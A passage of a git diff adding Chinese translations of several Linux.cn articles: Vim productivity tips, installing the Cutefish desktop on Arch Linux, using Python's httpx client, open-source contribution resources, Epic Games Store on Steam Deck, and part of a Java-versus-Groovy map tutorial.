+在本文中,我介绍了一些你可以用 Vim 做的中级事情,以加快你的工作流程并通常让你的一天更轻松。本文假设你以前使用过 Vim,已经了解编辑器的基础知识,并希望将你的 Vim 技能提高一个档次。Vim 充满了有用的技巧,没有人真正掌握它,但本文中的五个技巧可以提高你的技能,并希望让你更加爱上最受欢迎和喜爱的文本编辑器之一。 + +### Vim 书签 + +Vim 提供了一种在文本中添加书签的简单方法。假设你正在编辑一个大文件,并且当前的编辑会话要求你在文件中不同位置的两段文本之间来回跳转。 + +首先,你输入 `m`(用于标记)为当前位置设置一个书签,然后为其命名。例如,如果我正在编辑的文件中有一个名称列表,我想稍后再跳回,我可以使用 `mn`(n 表示名称)为文件的该部分添加书签。 + +稍后,在编辑文件的另一部分并希望跳回该名称列表时,我有两个选项。我可以输入 \``n`(反引号 n)转到书签的位置,或者我可以键入 `'n`(单引号 n)转到书签所在行的开头。 + +当我不再需要书签时,我可以使用 `:delmarks n` 将其删除。`:marks` 会显示我所有的书签。 + +请注意,我使用小写字母来命名我的书签。这是故意的。你可以使用小写字母作为本地书签,使用大写字母来使书签在多个文件中具有全局性。 + +### Vim 用户定义的缩写 + +如果你正在处理的文本有一个长词或短语多次出现,那么每次都完整地输入它会很快变得烦人。幸运的是,Vim 提供了一种创建缩写的简单方法。 + +要将 `Acme Painted Fake Roadways, Inc.` 的用户定义缩写设置为 `apfr`, 你需要输入 `:ab apfr Acme Painted Fake Roadways, Inc.`。现在当在编辑模式时,当你在输入 `apfr` 后面更上空格,就会变成 `Acme Painted Fake Roadways, Inc.`。 + +当你关闭 Vim 会话时,你使用 `:ab` 设置的任何缩写都会丢失。如果你想在此之前取消设置缩写,你可输入 `:una apfr`。 + +### Vim 自动补全 + +许多人没有意识到 Vim 带有自动补全功能。如果你在文件中输入以前使用过的长词,这是一个方便的工具。 + +假设你正在撰写一篇文章,多次使用 `Antarctica` 一词。使用一次后,下次你可以只输入前几个字母。例如,你输入 `Ant` 然后按下 `Ctrl+P`。 Vim 要么补全单词(如果只有一个选项),要么为你提供可以用箭头键选择的单词列表,继续输入以进一步缩小搜索范围并使用 `Tab` 键选择单词。 + +### Vim 范围选择 + +使用 Vim,你可以轻松地对文件中的一系列行执行操作。你可以通过起始行号、逗号和结束行号(包括)来指示范围。除了文字行号之外,你还可以使用句点(`.`)表示当前行,使用美元符号 (`$`) 表示文件缓冲区中的最后一行,以及使用百分号(`%`)表示整个文件。 + +这里举几个例子来说明。 + +如果要删除第 2 到 10 行,请输入(在命令模式下): + +``` +:2,10d +``` + +要删除从第 25 行到文件末尾的每一行: + +``` +:25,$d +``` + +你可以使用以下命令删除每一行: + +``` +:%d +``` + +要将第 5 到 10 行复制(或转移)到第 15 行之后: + +``` +:5,10t 15 +``` + +要将第 5 行到第 10 行移动到第 15 行之后(而不是复制): + +``` +:5,10m 15 +``` + +### Vim 提高生产力 + +我希望这篇文章教会了你一些关于 Vim 文本编辑器的新知识。 Vim 有很多技巧,即使是使用了多年的人仍然可以学习新事物。总有一些新的和有用的东西可以学习。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/3/vim-features-productivity + +作者:[Hunter Coleman][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/hunterc +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/laptop_screen_desk_work_chat_text.png?itok=UXqIDRDD (Person using a laptop) +[2]: https://opensource.com/article/20/3/getting-started-emacs +[3]: https://opensource.com/article/20/12/gnu-nano +[4]: https://opensource.com/article/20/6/open-source-alternatives-vs-code diff --git a/published/202203/20220301 Experience the Stunning Cutefish Desktop in Arch Linux.md b/published/202203/20220301 Experience the Stunning Cutefish Desktop in Arch Linux.md new file mode 100644 index 0000000000..d7f1ffa9a4 --- /dev/null +++ b/published/202203/20220301 Experience the Stunning Cutefish Desktop in Arch Linux.md @@ -0,0 +1,129 @@ +[#]: subject: "Experience the Stunning Cutefish Desktop in Arch Linux" +[#]: via: "https://www.debugpoint.com/2022/02/cutefish-arch-linux-install/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14385-1.html" + +在 Arch Linux 中体验令人惊叹的 Cutefish 桌面 +====== + +![](https://img.linux.net.cn/data/attachment/album/202203/23/145712h8q77pe7j9q29hj2.jpg) + +> 现在你可以在 Arch Linux 中体验 Cutefish 桌面了。本文概述了在 Arch Linux 系统中安装 Cutefish 桌面环境的步骤。 + +### Cutefish 桌面 + +前一阵子,[我们点评了 CutefishOS][2],它带有看起来非常棒的 Cutefish 桌面,得到了我们的读者的积极反应和关注。因此,我们认为这是一个完美的时机,是时候在你最喜欢的 Arch Linux 中体验一下这个桌面了。 + +在你进入安装部分之前,这里有一些关于 Cutefish 桌面的小知识。 + +Cutefish 桌面是 [CutefishOS][3] 的一部分,这是一个正在开发的新 Linux 发行版。这个基于 Debian 的 Linux 发行版具有令人难以置信的外观、轻量级的 Cutefish 桌面。 + +Cutefish 桌面其内部是以 Qt Quick、QML、C++ 和 KDE 框架为基础编写的。这个现代的桌面环境使用 KWin 和 SDDM 进行窗口和显示管理。 + +Cutefish 桌面为你带来了所寻求的一个完全 macOS 风格的、开箱即用的 Linux 桌面。也就是说,你可以获得令人惊叹的图标、壁纸、全局菜单、带有漂亮通知弹出窗口的顶部栏和底部停靠区。 + +你可在 [这里] 阅读详细的点评。 + +### 在 Arch Linux 中安装 Cutefish 桌面 + +#### 安装基础 Arch 系统 + +本指南假设在尝试这些步骤之前,你的系统中已经安装好了基本的 Arch Linux。或者,如果你也安装了任何基于 Arch 的 Linux 发行版,你也可以尝试。只是在这些情况下要注意显示管理的问题。 + +如果你是 Arch 的新手,你可以参考我们的 Arch Linux 安装指南。 + + * [如何使用 archinstall 安装 Arch Linux(推荐)][4] + * [如何安装 Arch Linux(基本指南)][5] + +#### 安装 Cutefish 桌面 + +Arch Linux 社区仓库包含了 Cutefish 组,其中有该桌面运行所需的所有组件。它包括核心软件包、原生应用和下面提到的附加工具。 + +在你的 Arch Linux 系统的终端提示符下,运行下面的命令来安装所有 Cutefish 桌面软件包。 + +``` +pacman -S cutefish +``` + +![A base Arch Linux prompt][6] + +![Install Cutefish in Arch Linux][7] + +接下来,我们需要通过下面的命令安装 Xorg 和显示管理器 SDDM。如果你将 Cutefish 桌面安装在安装有其他诸如 GNOME、KDE Plasma 或 Xfce 等桌面环境的 Arch Linux 中,那么请注意,因为你已经安装了一个显示管理器和 Xorg。所以,你可以轻松跳过这一步。 + +``` +pacman -S xorg sddm +``` + +上述命令完成后,通过 systemctl 启用显示管理器。 + +``` +systemctl enable sddm +``` + +这就是裸机安装 Cutefish 桌面的全部内容。完成后,重启系统,登录后你应该看到 Cutefish 桌面如下。 + +![Cutefish Desktop in Arch Linux][1] + +基础安装需要额外的定制,因为它不像 Cutefish OS 那样接近。 + +### 安装后的配置 + +尽管 Arch 仓库中的 Cutefish 组包含了它的原生应用,如计算器和文件管理器,但该桌面缺乏基本的应用,你需要单独安装这些应用来使它成为一个功能齐全的高效桌面。 + +我建议使用下面的命令来安装以下基本的应用。你可以跳过这一步,或者选择任何其他的应用/组合。 + + * Firefox 网页浏览器 + * Kwrite 文本编辑器 + * ttf-freefont 字体 + * VLC 媒体播放器 + * Gwenview 图像查看器 + * GIMP 图像编辑器 + * LibreOffice + * Transmission + +``` +pacman -S firefox ttf-freefont kwrite vlc gwenview gimp libreoffice-still transmission-qt +``` + +安装后,打开设置,改变你选择的字体。默认字体是 courier,它在桌面上看起来很糟糕。 + +按照你的选择完成所有的定制后,重启系统。然后享受 Arch Linux 中的 Cutefish 桌面。 + +![The Stunning Login Lock Screen of Cutefish Desktop][9] + +### 结束语 + +这个桌面正在开发中,所以在写这篇文章时,你会发现设置项目不多。例如,没有办法改变分辨率、隐藏停靠区等等。不过,你仍然可以安装额外的应用来使用。如果你想做体验一番,可以去试试。 + +加油。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/02/cutefish-arch-linux-install/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/wp-content/uploads/2022/02/Cutefish-Desktop-in-Arch-Linux-1024x575.jpg +[2]: https://www.debugpoint.com/2021/11/cutefish-os-review-2021/ +[3]: https://en.cutefishos.com/ +[4]: https://www.debugpoint.com/2022/01/archinstall-guide/ +[5]: https://www.debugpoint.com/2020/11/install-arch-linux/ +[6]: https://www.debugpoint.com/wp-content/uploads/2022/02/A-base-Arch-Linux-prompt.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/02/Install-Cutefish-in-Arch-Linux.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2022/02/The-Stunning-Login-Lock-Screen-of-Cutefish-Desktop-1024x576.jpg +[10]: https://t.me/debugpoint +[11]: https://twitter.com/DebugPoint +[12]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[13]: https://facebook.com/DebugPoint diff --git a/published/202203/20220302 How to use httpx, a web client for Python.md b/published/202203/20220302 How to use httpx, a web client for Python.md new file mode 100644 index 0000000000..7bce55b2ca --- /dev/null +++ b/published/202203/20220302 How to use httpx, a web client for Python.md @@ -0,0 +1,146 @@ +[#]: subject: "How to use httpx, a web client for Python" +[#]: via: "https://opensource.com/article/22/3/python-httpx" +[#]: author: "Moshe Zadka https://opensource.com/users/moshez" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14353-1.html" + +httpx:一个 Python Web 客户端 +====== + +> Python 的 httpx 包是一个用于 HTTP 交互的一个优秀且灵活的模块。 + +![](https://img.linux.net.cn/data/attachment/album/202203/13/102042hmtif0i7g3fg0ir0.jpg) + +Python 的 `httpx` 包是一个复杂的 Web 客户端。当你安装它后,你就可以用它来从网站上获取数据。像往常一样,安装它的最简单方法是使用 `pip` 工具: + +``` +$ python -m pip install httpx --user +``` + +要使用它,把它导入到 Python 脚本中,然后使用 `.get` 函数从一个 web 地址获取数据: + +``` +import httpx +result = httpx.get("https://httpbin.org/get?hello=world") +result.json()["args"] +``` + +下面是这个简单脚本的输出: + +``` + {'hello': 'world'} +``` + +### HTTP 响应 + +默认情况下,`httpx` 不会在非 200 状态下引发错误。 + +试试这个代码: + +``` +result = httpx.get("https://httpbin.org/status/404") +result +``` + +结果是: + +``` + +``` + +可以明确地返回一个响应。添加这个异常处理: + +``` +try: + result.raise_for_status() +except Exception as exc: + print("woops", exc) +``` + +下面是结果: + +``` + woops Client error '404 NOT FOUND' for url 'https://httpbin.org/status/404' + For more information check: https://httpstatuses.com/404 +``` + +### 自定义客户端 + +除了最简单的脚本之外,使用一个自定义的客户端是有意义的。除了不错的性能改进,比如连接池,这也是一个配置客户端的好地方。 + +例如, 你可以设置一个自定义的基本 URL: + +``` +client = httpx.Client(base_url="https://httpbin.org") +result = client.get("/get?source=custom-client") +result.json()["args"] +``` + +输出示例: + +``` + {'source': 'custom-client'} +``` + +这对用客户端与一个特定的服务器对话的典型场景很有用。例如,使用 `base_url` 和 `auth`,你可以为认证的客户端建立一个漂亮的抽象: + +``` +client = httpx.Client( + base_url="https://httpbin.org", + auth=("good_person", "secret_password"), +) +result = client.get("/basic-auth/good_person/secret_password") +result.json() +``` + +输出: + +``` + {'authenticated': True, 'user': 'good_person'} +``` + +你可以用它来做一件更棒的事情,就是在顶层的 “主” 函数中构建客户端,然后把它传递给其他函数。这可以让其他函数使用客户端,并让它们与连接到本地 WSGI 应用的客户端进行单元测试。 + +``` +def get_user_name(client): + result = client.get("/basic-auth/good_person/secret_password") + return result.json()["user"] + +get_user_name(client) + 'good_person' + +def application(environ, start_response): + start_response('200 OK', [('Content-Type', 'application/json')]) + return [b'{"user": "pretty_good_person"}'] +fake_client = httpx.Client(app=application, base_url="https://fake-server") +get_user_name(fake_client) +``` + +输出: + +``` + 'pretty_good_person' +``` + +### 尝试 httpx + +请访问 [python-httpx.org][2] 了解更多信息、文档和教程。我发现它是一个与 HTTP 交互的优秀而灵活的模块。试一试,看看它能为你做什么。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/3/python-httpx + +作者:[Moshe Zadka][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/moshez +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_web_internet_website.png?itok=g5B_Bw62 (Digital creative of a browser on the internet) +[2]: https://www.python-httpx.org/ diff --git a/published/202203/20220303 9 resources to help you contribute to open source in 2022.md b/published/202203/20220303 9 resources to help you contribute to open source in 2022.md new file mode 100644 index 0000000000..1fa15112e5 --- /dev/null +++ b/published/202203/20220303 9 resources to help you contribute to open source in 2022.md @@ -0,0 +1,71 @@ +[#]: subject: "9 resources to help you contribute to open source in 2022" +[#]: via: "https://opensource.com/article/22/3/contribute-open-source-2022" +[#]: author: "Opensource.com https://opensource.com/users/admin" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14372-1.html" + +2021 总结:如何为开源做出贡献 +====== + +> 你准备好推进你的开源之旅了吗?这里有一些如何给开源做贡献的提示和教程。 + +![](https://img.linux.net.cn/data/attachment/album/202203/19/145149b9uvnnrkfnuzm7uf.jpg) + +在 2022 年,开源正变得越来越家喻户晓。但多年来,开源一直被称为企业 IT 领域中潦倒的弱势群体。开源已经以某种形式或方式存在了 [几十年][2],但甚至直到 20 世纪 90 年代末,它才正式有了自己的 [名字][3]。你可能一直都在使用开源技术,但却不知道。事实上,你目前正在阅读的网站(LCTT 译注:指 opensource.com )就是在开源的内容管理系统 [Drupal][4] 上运行的。你的汽车、笔记本电脑、智能手表和电子游戏很可能是 [由 Linux][5] 这个开源操作系统支持的。 + +红帽公司的年度《[企业开源状况][6]》在最近发布了,其中包含了大量的见解,对任何在开源技术领域发展的人都有帮助。首先,77% 的 IT 领导对企业开源的看法比一年前更积极,82% 的 IT 领导更可能选择对开源社区有贡献的供应商。这意味着,参与开源比以往任何时候都更重要。现在是推进你的开源之旅的时候了,无论你在哪里。这里有一些资源可以帮助你踏上这条路。 + +### 为什么要为开源做贡献? + + * 《[是什么激励了开源软件的贡献者?][7]》新的研究发现人们贡献的原因自 21 世纪初以来已经改变。 + * 《[现在为开源做贡献的 3 个理由][8]》现在,比以往任何时候都更加是为开源做贡献的理想时机。 + * 《[为开源做贡献时的 7 个成功策略][9]》一位作者在为开源项目做贡献的经验帮助她在技术领域找到了她梦想的工作。 + +### 为开源做出你的第一次贡献 + + * 《[8 种非编码的方式为开源做贡献][10]》无论你是程序员新手,还是经验丰富的老手,或者根本不是工程师,在编码之外还有很多方式为开源项目做贡献。 + * 《[为 Slack 的开源替代方案做贡献的 6 种方式][11]》加入成千上万为 Mattermost 这个开源消息平台贡献代码、翻译、文档等的人。 + * 《[任何人都可以为开放实践图书馆做出贡献的 7 种方式][12]》为开放实践图书馆做出贡献是参与全球从业者社区的一种有趣方式,这些从业者都愿意分享他们的知识并改进他们自己的工作方式。 + * 《[如果你有一份全职工作,如何为 Kubernetes 做贡献][13]》你可以在业余时间从事最大的开源项目之一的内部工作。 + +### 鼓励他人为开源做贡献 + + * 《[为什么你的开源项目需要的不仅仅是程序员][14]》仅仅是开发人员并不能创造出满足各种需求的长保质期的开源项目,是时候欢迎更多的角色和人才了。 + * 《[开源贡献者加入的 10 个技巧][15]》让新的贡献者感到自己在社区中受到欢迎,对项目的未来至关重要,因此,在加入时投入时间和注意力是很重要的。 + +### 分享你对开源贡献的建议 + +当涉及到参与开源社区时,有无限的可能性。在这里,我们的目标是庆祝社区的不同观点和背景,其中包括你。你的独特故事激励着全球各地的人们参与到开源中来。来吧,[把你的文章想法发给我们][16]! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/3/contribute-open-source-2022 + +作者:[Opensource.com][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/admin +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/wfh_work_home_laptop_work.png?itok=VFwToeMy (Working from home at a laptop) +[2]: https://www.redhat.com/en/topics/open-source/what-is-open-source#the-history-of-open-source?intcmp=7013a000002qLH8AAM +[3]: https://opensource.com/article/18/2/coining-term-open-source-software +[4]: https://opensource.com/tags/drupal +[5]: https://opensource.com/article/19/8/everyday-tech-runs-linux +[6]: https://www.redhat.com/en/enterprise-open-source-report/2022?intcmp=7013a000002qLH8AAM +[7]: https://opensource.com/article/21/4/motivates-open-source-contributors +[8]: https://opensource.com/article/20/6/why-contribute-open-source +[9]: https://opensource.com/article/22/1/open-source-contributions-career +[10]: https://opensource.com/life/16/1/8-ways-contribute-open-source-without-writing-code +[11]: https://opensource.com/article/20/7/mattermost +[12]: https://opensource.com/article/21/10/open-practice-library +[13]: https://opensource.com/article/19/11/how-contribute-kubernetes +[14]: https://opensource.com/article/20/9/open-source-role-diversity +[15]: https://opensource.com/article/19/12/open-source-contributors +[16]: https://linux.cn/article-14335-1.html \ No newline at end of file diff --git a/published/202203/20220304 Epic Games Store Now Works on Steam Deck.md b/published/202203/20220304 Epic Games Store Now Works on Steam Deck.md new file mode 100644 index 0000000000..104368caf6 --- /dev/null +++ b/published/202203/20220304 Epic Games Store Now Works on Steam Deck.md @@ -0,0 +1,93 @@ +[#]: subject: "Epic Games Store Now Works on Steam Deck" +[#]: via: "https://news.itsfoss.com/epic-games-steam-deck/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "zd200572" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14374-1.html" + +Epic 游戏商店现在可在 Steam Deck 上使用啦 +====== + +> 现在可以在 Steam Deck 上运行 Epic 游戏商店了,几乎无懈可击! 但是,它是非官方的。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/run-epicgames-on-steam-deck-now.png?w=1200&ssl=1) + +Steam Deck 在加强对 Linux 平台的游戏支持方面做出了有力推动。 + +它运行在 **Steam OS 3.0**(基于 Arch)上,并具有 KDE Plasma 桌面环境。感谢 Valve,它没有锁定平台并让用户在上面进行试验。 + +尽管不是每个人都可以拿到它,但这是一款令人兴奋的硬件,可以挑战任天堂 Switch 掌机。 + +它可能还不支持所有的流行游戏(比如《命运 2》、《堡垒之夜》),但它在几个 3A 级大作和独立游戏上取得了不错的进展。你可以到官方的 [Deck 认证][1] 页面查看有关支持游戏的最新信息。 + +现在,更令人激动的是,事实证明 Steam Deck 也可以使用 [Epic 游戏商店][2](**非官方的**)来运行游戏。但是,怎样运行呢,让我们来一探究竟。 + +### 通过 Heroic 游戏启动器使用 Epic 游戏商店 + +是的,这就是 [去年][4] 制作的 [Heroic 游戏启动器][3], 并且已知它可以运行在 Linux 桌面上。 + +另外,(据 [GamingOnLinux][5])感谢 Liam Dawe,他和各位开发者协调,成功地在 Steam Deck 上测试运行了 Heroic 游戏启动器(及 [Heroic Bash 启动器][6])。 + +[![][7]](https://youtu.be/89Dw3I6NJX4) + +补充一句,**Heroic Bash 启动器** 是一个为所有已安装的 Heroic 游戏创建启动脚本(.sh 文件)的工具,它允许你直接从终端或者游戏前端/启动器启动游戏,而不必打开 Heroic。 + +故事的发生是这样的(根据我与 Heroic Bash 启动器开发者的简短交谈): + +最初,在 Steam Deck 上实验运行 Epic 游戏商店时,Steam 控制器无法工作,因为 Epic 游戏商店是使用 Steam 客户端以一个“非 Steam 游戏”运行的。 + +所以,Heroic Bash 启动器的开发者,[Rishabh Moharir][8](也是这里的一位作者)建议使用他的工具,按照他 [GitHub 上的维基指南][9] 来试试。 + +Heroic Bash 启动器可以在 Linux 桌面上与 Epic 游戏商店配合使用。所以,这值得一试! + +然后,幸运地,它工作了。 + +### 在 Steam Deck 上安装 Epic 游戏商店 + +首先,你需要在 Steam Deck 上使用可用的 AppImage 文件在**桌面模式**下安装 **Heroic 游戏启动器**。 + +完成后,你需要登录并下载你选择的游戏。 + +接下来,你需要下载最新的 [legendary][10] 二进制文件,并在启动器设置中将其设置为替代的 legendary 二进制文件。 + +你需要在启动器的游戏设置中配置并设置兼容层为 Proton 7.0。 + +这时,你需要下载最新的 [Heroic Bash 启动器二进制文件][11],然后运行它。 + +最后,你必须根据这个 [GitHub 上的官方维基指南][9],把游戏添加到 Steam 中(以便在 Steam Deck 的界面中找到它)。 + +总之,“手工爱好者”们肯定需要花好大一会儿才能使其工作。另外,如果你仍然困惑,你可以在 [维基][12] 上找到包含详细信息的同样的一套步骤和细节,这是 Heroic 游戏启动器团队整理的(或者参考上面的视频)。 + +对我来说,这听起来可行,应该不会超越大多数 Steam Deck 用户的能力。不幸的是,我无法在印度买到 Steam Deck(目前)。 + +至于 Steam Deck 上的 Epic 游戏商店的未来,我们只能抱以最好的期望。 + +你试过 Steam Deck 吗?在下面的评论区让我知道你的看法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/epic-games-steam-deck/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[zd200572](https://github.com/zd200572) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://www.steamdeck.com/en/verified +[2]: https://www.epicgames.com/store/en-US/ +[3]: https://github.com/Heroic-Games-Launcher/HeroicGamesLauncher +[4]: https://news.itsfoss.com/heroic-games-launcher/ +[5]: https://www.gamingonlinux.com/2022/03/heroic-games-launcher-now-works-nicely-on-steam-deck/ +[6]: https://github.com/redromnon/HeroicBashLauncher +[7]: https://i0.wp.com/i.ytimg.com/vi/UvuGAQDagWE/hqdefault.jpg?w=780&ssl=1 +[8]: https://news.itsfoss.com/author/rishabh/ +[9]: https://github.com/Heroic-Games-Launcher/HeroicGamesLauncher/wiki/Adding-Games-to-Steam-on-Linux +[10]: https://github.com/derrod/legendary/releases/ +[11]: https://github.com/redromnon/HeroicBashLauncher/releases/ +[12]: https://github.com/Heroic-Games-Launcher/HeroicGamesLauncher/wiki/SteamDeck---Running-Epic-Games diff --git a/published/202203/20220305 Creating and initializing maps in Groovy vs Java.md b/published/202203/20220305 Creating and initializing maps in Groovy vs Java.md new file mode 100644 index 0000000000..98d41471e2 --- /dev/null +++ b/published/202203/20220305 Creating and initializing maps in Groovy vs Java.md @@ -0,0 +1,244 @@ +[#]: subject: "Creating and initializing maps in Groovy vs Java" +[#]: via: "https://opensource.com/article/22/3/maps-groovy-vs-java" +[#]: author: "Chris Hermansen https://opensource.com/users/clhermansen" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14378-1.html" + +在 Groovy 和 Java 中创建并初始化映射的不同 +====== + +> Java 和 Groovy 中的映射map都是非常通用的,它允许关键字keyvalue为任意类型,只要继承了 `Object` 类即可。 + +![](https://img.linux.net.cn/data/attachment/album/202203/21/092532ykbhkq36vbr3bpzg.jpg) + +我最近在探索 Java 与 Groovy 在 [创建并初始化列表List][2] 和 [在运行时构建列表List][3] 方面的一些差异。我观察到,就实现这些功能而言,Groovy 的简洁和 Java 的繁复形成了鲜明对比。 + +在这篇文章中,我将实现在 Java 和 Groovy 中创建并初始化映射Map。映射为开发支持根据 关键字key 检索的结构提供了可能,如果找到了这样一个关键字,它就会返回对应的 value。今天,很多编程语言都实现了映射,其中包括 Java 和 Groovy,也包括了 Python(它将映射称为 字典dict)、Perl、awk 以及许多其他语言。另一个经常被用来描述映射的术语是 关联数组associative array,你可以在 [这篇维基百科文章][4] 中了解更多。Java 和 Groovy 中的映射都是非常通用的,它允许关键字和值为任意类型,只要继承了 `Object` 类即可。 + +### 安装 Java 和 Groovy + +Groovy 基于 Java,因此你需要先安装 Java。你的 Linux 发行版的仓库中可能有最近的比较好的 Java 和 Groovy 版本。或者,你也可以在根据上面链接中的指示来安装 Groovy。对于 Linux 用户来说,[SDKMan][5] 是一个不错的代替选项,你可以使用它来获取多个 Java 和 Groovy 版本,以及许多其他的相关工具。在这篇文章中,我使用的 SDK 发行版是: + + * Java: version 11.0.12-open of OpenJDK 11; + * Groovy: version 3.0.8. + +### 言归正传 + +Java 提供了非常多的方式来实例化和初始化映射,并且从 Java 9 之后,添加了一些新的方式。其中最明显的方式就是使用 `java.util.Map.of()` 这个静态方法,下面介绍如何使用它: + +``` +var m1 = Map.of( + "AF", "Afghanistan", + "AX", "Åland Islands", + "AL", "Albania", + "DZ", "Algeria", + "AS", "American Samoa", + "AD", "Andorra", + "AO", "Angola", + "AI", "Anguilla", + "AQ", "Antarctica"); + +System.out.println("m1 = " + m1); +System.out.println("m1 is an instance of " + m1.getClass()); +``` + +事实证明,在此种情况下,`Map.of()` 有两个重要的限制。其一,这样创建出来的映射实例是不可变的immutable。其二,你最多只能提供 20 个参数,用来表示 10 个键值对key-value pair。 + +你可以尝试着添加第 10 对和第 11 对,比方说 "AG", "Antigua and Barbuda" 和 "AR", "Argentina",然后观察会发生什么。你将发现 Java 编译器尝试寻找一个支持 11 个键值对的 `Map.of()` 方法而遭遇失败。 + +快速查看 [java.util.Map 类的文档][8],你就会找到上述第二个限制的原因,以及解决这个难题的一种方式: + +``` +var m2 = Map.ofEntries( + Map.entry("AF", "Afghanistan"), + Map.entry("AX", "Åland Islands"), + Map.entry("AL", "Albania"), + Map.entry("DZ", "Algeria"), + Map.entry("AS", "American Samoa"), + Map.entry("AD", "Andorra"), + Map.entry("AO", "Angola"), + Map.entry("AI", "Anguilla"), + Map.entry("AQ", "Antarctica"), + Map.entry("AG", "Antigua and Barbuda"), + Map.entry("AR", "Argentina"), + Map.entry("AM", "Armenia"), + Map.entry("AW", "Aruba"), + Map.entry("AU", "Australia"), + Map.entry("AT", "Austria"), + Map.entry("AZ", "Azerbaijan"), + Map.entry("BS", "Bahamas"), + Map.entry("BH", "Bahrain"), + Map.entry("BD", "Bangladesh"), + Map.entry("BB", "Barbados") +); + +System.out.println("m2 = " + m2); +System.out.println("m2 is an instance of " + m2.getClass()); +``` + +这就是一个比较好的解决方式,前提是我不在随后的代码里改变使用 `Map.ofEntries()` 创建并初始化的映射内容。注意,我在上面使用了 `Map.ofEntries()` 来代替 `Map.of()`。 + +然而,假设我想要创建并初始化一个非空的映射,随后往这个映射中添加数据,我需要这样做: + +``` +var m3 = new HashMap(Map.ofEntries( + Map.entry("AF", "Afghanistan"), + Map.entry("AX", "Åland Islands"), + Map.entry("AL", "Albania"), + Map.entry("DZ", "Algeria"), + Map.entry("AS", "American Samoa"), + Map.entry("AD", "Andorra"), + Map.entry("AO", "Angola"), + Map.entry("AI", "Anguilla"), + Map.entry("AQ", "Antarctica"), + Map.entry("AG", "Antigua and Barbuda"), + Map.entry("AR", "Argentina"), + Map.entry("AM", "Armenia"), + Map.entry("AW", "Aruba"), + Map.entry("AU", "Australia"), + Map.entry("AT", "Austria"), + Map.entry("AZ", "Azerbaijan"), + Map.entry("BS", "Bahamas"), + Map.entry("BH", "Bahrain"), + Map.entry("BD", "Bangladesh"), + Map.entry("BB", "Barbados") +)); + +System.out.println("m3 = " + m3); +System.out.println("m3 is an instance of " + m3.getClass()); + +m3.put("BY", "Belarus"); +System.out.println("BY: " + m3.get("BY")); + +``` + +这里,我把使用 `Map.ofEntries()` 创建出来的不可变映射作为 `HashMap` 的一个构造参数,以此创建了该映射的一个可变副本mutable copy,之后我就可以修改它 —— 比如使用 `put()` 方法。 + +让我们来看看上述过程如何用 Groovy 来实现: + +``` +def m1 = [ + "AF": "Afghanistan", + "AX": "Åland Islands", + "AL": "Albania", + "DZ": "Algeria", + "AS": "American Samoa", + "AD": "Andorra", + "AO": "Angola", + "AI": "Anguilla", + "AQ": "Antarctica", + "AG": "Antigua and Barbuda", + "AR": "Argentina", + "AM": "Armenia", + "AW": "Aruba", + "AU": "Australia", + "AT": "Austria", + "AZ": "Azerbaijan", + "BS": "Bahamas", + "BH": "Bahrain", + "BD": "Bangladesh", + "BB": "Barbados"] + +println "m1 = $m1" +println "m1 is an instance of ${m1.getClass()}" + +m1["BY"] = "Belarus" +println "m1 = $m1" +``` + +只看一眼,你就会发现 Groovy 使用了 `def` 关键字而不是 `var` —— 尽管在最近模型late-model的 Groovy(version 3+)中,使用 `var` 关键字也是可行的。 + +你还会发现,你是通过在括号里添加了一个键值对列表来创建一个映射的。不仅如此,这样创建的列表对象还非常有用,这里有几个原因。其一,它是可变的;其二,它是一个 `LinkedHashMap` 的实例,内部维持了数据的插入顺序。所以,当你运行 Java 版本的代码并打印出变量 